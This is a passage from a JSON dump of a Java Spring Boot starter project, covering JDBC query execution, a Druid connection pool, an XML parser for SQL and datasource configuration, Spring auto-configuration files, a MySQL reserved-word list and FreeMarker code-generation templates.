SQLException {\n//\t\tlog.debug(JSON.toJSONString(jdbcParamValues));\n        System.out.println(\"execute sql is \"+sql);\n        PreparedStatement statement = connection.prepareStatement(sql);\n        // 参数注入\n        for (int i = 1; i <= jdbcParamValues.size(); i++) {\n            statement.setObject(i, jdbcParamValues.get(i - 1));\n        }\n        boolean hasResultSet = statement.execute();\n        if (hasResultSet) {\n            ResultSet rs = statement.getResultSet();\n            int columnCount = rs.getMetaData().getColumnCount();\n\n            List<String> columns = new ArrayList<>();\n            for (int i = 1; i <= columnCount; i++) {\n                String columnName = rs.getMetaData().getColumnLabel(i);\n                columns.add(columnName);\n            }\n            List<Map<String,Object>> list = new ArrayList<>();\n            while (rs.next()) {\n                //JSONObject jo = new JSONObject();\n                Map<String,Object> jo = new HashMap<>();\n                columns.stream().forEach(t -> {\n                    try {\n                        Object value = rs.getObject(t);\n                        jo.put(t, value);\n                        if(value==null) {\n                            jo.put(t, null);\n                        }\n                    } catch (SQLException throwables) {\n                        throwables.printStackTrace();\n                    }\n                });\n                list.add(jo);\n            }\n            connection.close();\n            return list;\n        } else {\n            connection.close();\n            throw new RuntimeException(\"修改脚本调用update方法\");\n        }\n    }\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/sql/utils/PoolManager.java",
    "content": "package io.github.wujun728.sql.utils;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.pool.DruidPooledConnection;\nimport io.github.wujun728.sql.entity.ApiDataSource;\n\nimport java.sql.SQLException;\nimport java.util.concurrent.ConcurrentHashMap;\n\npublic class PoolManager {\n\n    //所有数据源的连接池存在map里\n    private static ConcurrentHashMap<String, DruidDataSource> map = new ConcurrentHashMap<>();\n\n    private static DruidDataSource getJdbcConnectionPool(ApiDataSource ds) {\n        if (map.containsKey(ds.getId())) {\n            return map.get(ds.getId());\n        } else {\n            DruidDataSource druidDataSource = new DruidDataSource();\n            druidDataSource.setUrl(ds.getUrl());\n            druidDataSource.setUsername(ds.getUsername());\n            druidDataSource.setDriverClassName(ds.getDriver());\n            druidDataSource.setConnectionErrorRetryAttempts(3);       //失败后重连次数\n            druidDataSource.setBreakAfterAcquireFailure(true);\n            druidDataSource.setPassword(ds.getPassword());\n            druidDataSource.setName(ds.getId());\n            map.put(ds.getId(), druidDataSource);\n            return map.get(ds.getId());\n        }\n    }\n\n    public static DruidPooledConnection getPooledConnection(ApiDataSource ds) throws SQLException {\n        DruidDataSource pool = PoolManager.getJdbcConnectionPool(ds);\n        DruidPooledConnection connection = pool.getConnection();\n        return connection;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/sql/utils/XmlParser.java",
    "content": "package io.github.wujun728.sql.utils;\n\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.sql.entity.ApiDataSource;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport org.apache.commons.lang3.StringUtils;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\nimport org.xml.sax.SAXException;\n\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.ParserConfigurationException;\nimport javax.xml.transform.OutputKeys;\nimport javax.xml.transform.Transformer;\nimport javax.xml.transform.TransformerException;\nimport javax.xml.transform.TransformerFactory;\nimport javax.xml.transform.dom.DOMSource;\nimport javax.xml.transform.stream.StreamResult;\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.StringWriter;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class XmlParser {\n\n    public static void main(String[] args) throws Exception {\n        String text = \"<sqls>\\n\" +\n                \"    <defaultDB>local_mysql</defaultDB>\\n\" +\n                \"\\n\" +\n                \"    <sql id=\\\"getUser\\\">\\n\" +\n                \"        select * from user\\n\" +\n                \"        <where>\\n\" +\n                \"            <if test = \\\"id != null\\\">\\n\" +\n                \"                id &lt;= #{id}\\n\" +\n                \"            </if>\\n\" +\n                \"        </where>\\n\" +\n                \"    </sql></sqls>\";\n        Map<String, ApiSql>  data = parseSql(text);\n        StaticLog.info(JSONUtil.toJsonPrettyStr(data));\n\n//        String text = \"<datasource>\\n\" +\n//                \"    <ds id=\\\"mysql\\\">\\n\" +\n//                \"        <url>jdbc:mysql://localhost:3306/story?useSSL=false&amp;characterEncoding=UTF-8</url>\\n\" +\n//                \"        <username>root</username>\\n\" +\n//                \"        <password>root</password>\\n\" +\n//                \"    </ds>\\n\" +\n//                \"\\n\" +\n//                \"</datasource>\";\n//        parseDatasource(text);\n    }\n\n    public static Map<String, ApiDataSource> parseDatasource(String text) throws ParserConfigurationException, IOException, SAXException {\n        Map<String, ApiDataSource> map = new HashMap<>();\n        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\n        Document document = dbf.newDocumentBuilder().parse(new ByteArrayInputStream(text.getBytes()));\n        Element documentElement = document.getDocumentElement();\n        NodeList children = documentElement.getChildNodes();\n\n        for (int i = 0; i < children.getLength(); i++) {\n            Node child = children.item(i);\n\n            if (child.getNodeType() == Node.ELEMENT_NODE) {\n                if (\"datasource\".equals(child.getNodeName())) {\n                    NamedNodeMap attributes = child.getAttributes();\n                    Node idAttr = attributes.getNamedItem(\"id\");\n                    if (idAttr == null) {\n                        throw new RuntimeException(\"id attribute of <datasource> tag is missing\");\n                    }\n                    String id = idAttr.getTextContent();\n                    if (StringUtils.isBlank(id)) {\n                        throw new RuntimeException(\"id attribute of <datasource> tag is missing\");\n                    }\n\n                    ApiDataSource dataSource = new ApiDataSource();\n                    dataSource.setId(id);\n\n                    NodeList childNodes = child.getChildNodes();\n                    for (int j = 0; j < childNodes.getLength(); j++) {\n                        Node node = childNodes.item(j);\n                        if (child.getNodeType() == Node.ELEMENT_NODE) {\n                            String nodeName = node.getNodeName();\n                            if (\"url\".equals(nodeName)) {\n                                dataSource.setUrl(node.getTextContent());\n                            } else if (\"username\".equals(nodeName)) {\n                                dataSource.setUsername(node.getTextContent());\n                            } else if (\"password\".equals(nodeName)) {\n                                dataSource.setPassword(node.getTextContent());\n                            } else if (\"driver\".equals(nodeName)) {\n                                dataSource.setDriver(node.getTextContent());\n                            } else if (\"#text\".equals(nodeName)) {\n                                //回车会解析成节点\n                            } else {\n                                throw new RuntimeException(\"tag not supported under <datasource> : \" + nodeName);\n                            }\n                        }\n                    }\n                    map.put(id, dataSource);\n                } else {\n                    throw new RuntimeException(\"tag not supported : \" + child.getNodeName());\n                }\n\n            }\n        }\n        return map;\n    }\n\n    public static Map<String, ApiSql> parseSql(String text) throws ParserConfigurationException, IOException, SAXException, TransformerException {\n        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\n        Document document = dbf.newDocumentBuilder().parse(new ByteArrayInputStream(text.getBytes()));\n        Element documentElement = document.getDocumentElement();\n        NodeList children = documentElement.getChildNodes();\n\n        Map<String, ApiSql> map = new HashMap<>();\n        String defaultDB = null;\n        for (int i = 0; i < children.getLength(); i++) {\n            Node child = children.item(i);\n            String nodeName = child.getNodeName();\n\n            if (child.getNodeType() == Node.ELEMENT_NODE) {\n                if (nodeName.equals(\"defaultDB\")) {\n                    //默认DB配置\n                    defaultDB = child.getTextContent();\n                    if (StringUtils.isBlank(defaultDB)) {\n                        throw new RuntimeException(\"defaultDB value empty\");\n                    }\n                } else if (nodeName.equalsIgnoreCase(\"sql\")) {\n\n                    NamedNodeMap attributes = child.getAttributes();\n                    Node idAttr = attributes.getNamedItem(\"id\");\n                    if (idAttr == null) {\n                        throw new RuntimeException(\"id attribute of <sql> tag is missing\");\n                    }\n                    String id = idAttr.getTextContent();\n                    if (StringUtils.isBlank(id)) {\n                        throw new RuntimeException(\"id attribute of <sql> tag is missing\");\n                    }\n\n                    Node dbAttr = attributes.getNamedItem(\"db\");\n                    String txt = nodeContentToString(child);\n\n                    ApiSql sql = new ApiSql();\n\n                    if (dbAttr != null) {\n                        String db = dbAttr.getTextContent();\n                        sql.setDatasourceId(db);\n                    }\n\n                    sql.setText(txt);\n                    sql.setId(id);\n                    sql.setType(nodeName);\n                    map.put(id, sql);\n                } else {\n                    throw new RuntimeException(\"tag not supported : \" + nodeName);\n                }\n            }\n        }\n        String finalDefaultDB = defaultDB;\n        map.keySet().forEach(t -> {\n            ApiSql sql = map.get(t);\n            if (StringUtils.isBlank(sql.getDatasourceId())) {\n                if (finalDefaultDB != null) {\n                    sql.setDatasourceId(finalDefaultDB);\n                } else {\n                    throw new RuntimeException(\"db attribute of <sql> tag is missing, and <defaultDB> tag is missing meanwhile\");\n                }\n            }\n        });\n        //TODO 检查datasource是否都已经配置\n        return map;\n\n    }\n\n    private static String nodeToString(Node node) throws TransformerException {\n        StringWriter sw = new StringWriter();\n\n        Transformer t = TransformerFactory.newInstance().newTransformer();\n        t.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, \"yes\");\n        t.setOutputProperty(OutputKeys.INDENT, \"yes\");\n        t.transform(new DOMSource(node), new StreamResult(sw));\n\n        return sw.toString();\n    }\n\n    private static String nodeContentToString(Node node) throws TransformerException {\n        NodeList nodes = node.getChildNodes();\n        StringBuilder sb = new StringBuilder();\n        for (int j = 0; j < nodes.getLength(); j++) {\n            Node n = nodes.item(j);\n            String txt = nodeToString(n);\n            sb.append(txt);\n        }\n        return sb.toString().trim();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/META-INF/META-INF/spring.factories.bk2",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\n  io.github.wujun728.sql.ApiEngineConfiguration"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/META-INF/META-INF/spring.factories.bk3",
    "content": "# org.springframework.context.ApplicationContextInitializer=\\\n# io.github.wujun728.common.config.BannerInitializer\n\norg.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.common.feign.fallback.UserServiceFallbackFactory,\\\nio.github.wujun728.common.lock.LockAspect,\\\nio.github.wujun728.groovy.util.SpringUtils"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports",
    "content": "io.github.wujun728.groovy.ApiAutoConfig\nio.github.wujun728.groovy.groovy.GroovyDynamicLoader\nio.github.wujun728.groovy.service.GroovyApiService\nio.github.wujun728.groovy.controller.GroovyScriptController\nio.github.wujun728.groovy.mapping.http.RequestMappingExecutor\nio.github.wujun728.groovy.mapping.http.RequestMappingService\nio.github.wujun728.groovy.util.MappingRegisterUtil\nio.github.wujun728.rest.controller.RestApiController\nio.github.wujun728.rest.controller.RestSqlController\nio.github.wujun728.rest.service.RestApiService\nio.github.wujun728.rest.service.RestSqlService\nio.github.wujun728.rest.util.HttpRequestUtil\nio.github.wujun728.sql.ApiEngineConfiguration\nio.github.wujun728.generator.service.GeneratorServiceImpl\nio.github.wujun728.generator.controller.CodeGeneratorController\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.EnableAutoConfiguration.imports",
    "content": "io.github.wujun728.groovy.ApiAutoConfig\nio.github.wujun728.groovy.groovy.GroovyDynamicLoader\nio.github.wujun728.groovy.service.GroovyApiService\nio.github.wujun728.groovy.controller.GroovyScriptController\nio.github.wujun728.groovy.mapping.http.RequestMappingExecutor\nio.github.wujun728.groovy.mapping.http.RequestMappingService\nio.github.wujun728.groovy.util.MappingRegisterUtil\nio.github.wujun728.rest.controller.RestApiController\nio.github.wujun728.rest.controller.RestSqlController\nio.github.wujun728.rest.service.RestApiService\nio.github.wujun728.rest.service.RestSqlService\nio.github.wujun728.rest.util.HttpRequestUtil\nio.github.wujun728.sql.ApiEngineConfiguration\nio.github.wujun728.generator.service.GeneratorServiceImpl\nio.github.wujun728.generator.controller.CodeGeneratorController\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/META-INF/spring.factories",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\n  io.github.wujun728.groovy.ApiAutoConfig,\\\n  io.github.wujun728.groovy.groovy.GroovyDynamicLoader,\\\n  io.github.wujun728.groovy.service.GroovyApiService,\\\n  io.github.wujun728.groovy.controller.GroovyScriptController,\\\n  io.github.wujun728.groovy.mapping.http.RequestMappingExecutor,\\\n  io.github.wujun728.groovy.mapping.http.RequestMappingService,\\\n  io.github.wujun728.groovy.util.MappingRegisterUtil,\\\n  io.github.wujun728.rest.controller.RestApiController,\\\n  io.github.wujun728.rest.controller.RestSqlController,\\\n  io.github.wujun728.rest.service.RestApiService,\\\n  io.github.wujun728.rest.service.RestSqlService,\\\n  io.github.wujun728.rest.util.HttpRequestUtil,\\\n  io.github.wujun728.sql.ApiEngineConfiguration,\\\n  io.github.wujun728.generator.service.GeneratorServiceImpl,\\\n  io.github.wujun728.generator.controller.CodeGeneratorController\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/META-INF/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\n  io.github.wujun728.ApiEngineConfiguration"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/mysql_key_word.txt",
    "content": "ADD\nALL\nALTER\nANALYZE\nAND\nAS\nASC\nAUTO_INCREMENT\nBDB\nBEFORE\nBERKELEYDB\nBETWEEN\nBIGINT\nBINARY\nBLOB\nBOTH\nBTREE\nBY\nCASCADE\nCASE\nCHANGE\nCHAR\nCHARACTER\nCHECK\nCOLLATE\nCOLUMN\nCOLUMNS\nCONSTRAINT\nCREATE\nCROSS\nCURRENT_DATE\nCURRENT_TIME\nCURRENT_TIMESTAMP\nDATABASE\nDATABASES\nDAY_HOUR\nDAY_MINUTE\nDAY_SECOND\nDEC\nDECIMAL\nDEFAULT\nDELAYED\nDELETE\nDESC\nDESCRIBE\nDISTINCT\nDISTINCTROW\nDIV\nDOUBLE\nDROP\nELSE\nENCLOSED\nERRORS\nESCAPED\nEXISTS\nEXPLAIN\nFALSE\nFIELDS\nFLOAT\nFOR\nFORCE\nFOREIGN\nFROM\nFULLTEXT\nFUNCTION\nGRANT\nGROUP\nHASH\nHAVING\nHIGH_PRIORITY\nHOUR_MINUTE\nHOUR_SECOND\nIF\nIGNORE\nIN\nINDEX\nINFILE\nINNER\nINNODB\nINSERT\nINT\nINTEGER\nINTERVAL\nINTO\nIS\nJOIN\nKEY\nKEYS\nKILL\nLEADING\nLEFT\nLIKE\nLIMIT\nLINES\nLOAD\nLOCALTIME\nLOCALTIMESTAMP\nLOCK\nLONG\nLONGBLOB\nLONGTEXT\nLOW_PRIORITY\nMASTER_SERVER_ID\nMATCH\nMEDIUMBLOB\nMEDIUMINT\nMEDIUMTEXT\nMIDDLEINT\nMINUTE_SECOND\nMOD\nMRG_MYISAM\nNATURAL\nNOT\nNULL\nNUMERIC\nON\nOPTIMIZE\nOPTION\nOPTIONALLY\nOR\nORDER\nOUTER\nOUTFILE\nPRECISION\nPRIMARY\nPRIVILEGES\nPROCEDURE\nPURGE\nREAD\nREAL\nREFERENCES\nREGEXP\nRENAME\nREPLACE\nREQUIRE\nRESTRICT\nRETURNS\nREVOKE\nRIGHT\nRLIKE\nRTREE\nSELECT\nSET\nSHOW\nSMALLINT\nSOME\nSONAME\nSPATIAL\nSQL_BIG_RESULT\nSQL_CALC_FOUND_ROWS\nSQL_SMALL_RESULT\nSSL\nSTARTING\nSTRAIGHT_JOIN\nSTRIPED\nTABLE\nTABLES\nTERMINATED\nTHEN\nTINYBLOB\nTINYINT\nTINYTEXT\nTO\nTRAILING\nTRUE\nTYPES\nUNION\nUNIQUE\nUNLOCK\nUNSIGNED\nUPDATE\nUSAGE\nUSE\nUSER_RESOURCES\nUSING\nVALUES\nVARBINARY\nVARCHAR\nVARCHARACTER\nVARYING\nWARNINGS\nWHEN\nWHERE\nWITH\nWRITE\nXOR\nYEAR_MONTH\nZEROFILL"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.groovy.ApiAutoConfig"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/beetlsql/${classInfo.className}.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.io.Serializable;\nimport lombok.Data;\nimport java.util.Date;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Data<#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/beetlsql/${classInfo.className}.md.ftl",
    "content": "sample\n===\n\nselect #use(\"cols\")# from ${classInfo.tableName} where #use(\"condition\")#\n\ncols\n===\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        `${fieldItem.columnName}`<#if fieldItem_has_next>,</#if>\n    </#list>\n</#if>\n\nupdateSample\n===\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        `${fieldItem.columnName}=#${fieldItem.fieldName}#`<#if fieldItem_has_next>,</#if>\n    </#list>\n</#if>\n\ncondition\n===\n    1 = 1\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n    @if(!isEmpty(${fieldItem.fieldName})){\n      and `${fieldItem.columnName}`=#${fieldItem.fieldName}#\n    @}\n    </#list>\n</#if>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/beetlsql/${classInfo.className}Controller.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private SQLManager sqlManager;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(${classInfo.className} ${classInfo.className?uncap_first}){\n        ${classInfo.className} ${classInfo.className?uncap_first}=sqlManager.unique(${classInfo.className}.class,${classInfo.className?uncap_first}.getId());\n        if(${classInfo.className?uncap_first}!=null){\n            sqlManager.updateById(${classInfo.className?uncap_first});\n            return ${returnUtilSuccess}(\"编辑成功\");\n        }else{\n            sqlManager.insert(${classInfo.className?uncap_first});\n            return ${returnUtilFailure}(\"保存成功\");\n        }\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first}=sqlManager.unique(${classInfo.className}.class,id);\n        if(${classInfo.className?uncap_first}!=null){\n            sqlManager.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first}=sqlManager.unique(${classInfo.className}.class,id);\n        if(${classInfo.className?uncap_first}!=null){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first});\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(${classInfo.className} ${classInfo.className?uncap_first},\n                        @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                        @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n            List<${classInfo.className}> list = sqlManager.query(${classInfo.className}.class).select();\n            return ${returnUtilSuccess}(list);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/bi/qliksense.ftl",
    "content": "//***************************\n//[${classInfo.classComment} - ${classInfo.tableName}]\n//AUTHOR ${authorName}\n//HISTORY ${.now?string('yyyy-MM-dd')}\n//***************************\n\n//***************************\n//load all\n[${classInfo.tableName}]:\nLOAD * FROM ['LIB://QVD/${classInfo.className}.qvd'](qvd);\n\n//***************************\n//load columns\n[${classInfo.tableName}]:\nLOAD\n<#list classInfo.fieldList as fieldItem >\n    \"${fieldItem.columnName}\" as \"${fieldItem.fieldName}\"<#if fieldItem_has_next>,</#if>\n</#list>\nFROM\n['LIB://QVD/${classInfo.className}.qvd'](qvd);\n;\n\n//load inline\n[${classInfo.tableName}]:\nLOAD * INLINE\n[\n<#list classInfo.fieldList as fieldItem >${fieldItem.columnName} <#if fieldItem_has_next>,</#if></#list>\n<#list classInfo.fieldList as fieldItem >${fieldItem.fieldName}  <#if fieldItem_has_next>,</#if></#list>\n<#list classInfo.fieldList as fieldItem >${fieldItem.fieldComment}  <#if fieldItem_has_next>,</#if></#list>\n];\n\n//***************************\n//load from api data connection (wrap on)\nLIB CONNECT TO '${classInfo.tableName}_api';\n\nRestConnectorMasterTable:\n    SQL SELECT\n    \"__KEY_root\",\n    (SELECT\n<#list classInfo.fieldList as fieldItem >\n    \"${fieldItem.columnName}\"\n</#list>\n        \"__FK_object\"\n    FROM \"object\" FK \"__FK_object\")\n    FROM JSON (wrap on) \"root\" PK \"__KEY_root\"\n//    WITH CONNECTION (\n//    Url \"https://localhost:8080/${classInfo.tableName}_api\",\n//    QUERY \"page\" \"1\",\n//    QUERY \"size\" \"100\",\n//    HTTPHEADER \"token\" \"123456\",\n//    BODY \"Post body here\")\n;\n\n[${classInfo.className}]:\nLOAD\n<#list classInfo.fieldList as fieldItem >\n    [${fieldItem.columnName}] as [${fieldItem.fieldName}]\n</#list>\n    [__FK_object] AS [__KEY_root]\nRESIDENT RestConnectorMasterTable\nWHERE NOT IsNull([__FK_stores]);\n\nDROP TABLE [${classInfo.className}];\nDROP TABLE RestConnectorMasterTable;\n\n//***************************\n//load from api data connection (wrap off)\nLIB CONNECT TO '${classInfo.tableName}_api';\n[${classInfo.className}]:\nSQL SELECT\n<#list classInfo.fieldList as fieldItem >\n    [${fieldItem.fieldName}] as [${fieldItem.fieldName}]<#if fieldItem_has_next>,</#if>\n</#list>\nFROM JSON(wrap off) \"${classInfo.className}\"\n//    WITH CONNECTION (\n//    Url \"https://localhost:8080/${classInfo.tableName}_api\",\n//    QUERY \"page\" \"1\",\n//    QUERY \"size\" \"100\",\n//    HTTPHEADER \"token\" \"123456\",\n//    BODY \"Post body here\")\n;\n\n//***************************\n//load from sql data connection\nLIB CONNECT TO '${classInfo.tableName}_db';\n\nSQL SELECT\n<#list classInfo.fieldList as fieldItem >\n    [${fieldItem.columnName}] as [${fieldItem.fieldName}]<#if fieldItem_has_next>,</#if>\n</#list>\nFROM\n     ${classInfo.tableName}\nWHERE\n     Create_Time > '2023-01-01 00:00:00';"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/cloud/bigquery.ftl",
    "content": "\nSELECT * FROM 'your_project.your_dataset.${tableName}' t\norder by t.id desc\nLIMIT 100\n;\n\nSELECT * FROM 'your_project.your_dataset.${tableName}_error_records' t\norder by t.timestamp desc\nLIMIT 100\n;\n\nbigquery table -> SCHEMA -> Edit as text , then input below text:\n[\n<#list classInfo.fieldList as fieldItem >\n    {\"name\":\"${fieldItem.columnName}\",type:\"STRING\",\"mode\":\"NULLABLE\",\"description\": \"${fieldItem.fieldName} - ${fieldItem.fieldComment}\"}<#if fieldItem_has_next>,</#if>\n</#list>\n]"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/cloud/dataflowjjs.ftl",
    "content": "/**\n* GCP - dataflow job jjs for [${classInfo.classComment} - ${classInfo.tableName}]\n* AUTHOR ${authorName}\n*\n* model.User-defined function (UDF) to transform events as part of a Dataflow template job.\n* upload to GCS and create dataflow job with this js file and method as 'process'\n* @param {string} inJson input Pub/Sub JSON message (stringified)\n* @return {string} outJson output JSON message (stringified)\n*/\nfunction process(inJson) {\n    //for local js debug\n    //var obj = JSON.parse(JSON.stringify(inJson));\n    //for online jjs\n    var obj = JSON.parse(inJson);\n    var includePubsubMessage = obj.data && obj.attributes;\n    var data = includePubsubMessage ? obj.data : obj;\n    //debug and show error if you need special logic\n    if(data.hasOwnProperty('show_error')){\n        throw new ERROR(\"show_error:\"+JSON.stringify(data))\n    }\n    // INSERT CUSTOM TRANSFORMATION LOGIC HERE\n    var tableObj= {};\n    tableObj.insert_time=new Date().toUTCString()\n<#list classInfo.fieldList as fieldItem >\n    tableObj.${fieldItem.columnName}=data.${fieldItem.fieldName}\n</#list>\n    return JSON.stringify(tableObj);\n}\n\n//field name = field name\n<#list classInfo.fieldList as fieldItem >\n    tableObj.${fieldItem.fieldName}=data.${fieldItem.fieldName}\n</#list>\n\n//column name = column name\n<#list classInfo.fieldList as fieldItem >\n    tableObj.${fieldItem.columnName}=data.${fieldItem.columnName}\n</#list>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/common-mapper/tkentity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport javax.persistence.*;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Table(name=\"${classInfo.originTableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @Id\n    @GeneratedValue(strategy = GenerationType.IDENTITY)\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Column(name=\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/common-mapper/tkmapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport tk.mybatis.mapper.common.Mapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport ${packageName}.entity.${classInfo.className};\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends Mapper<${classInfo.className}> {\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/controller.ftl",
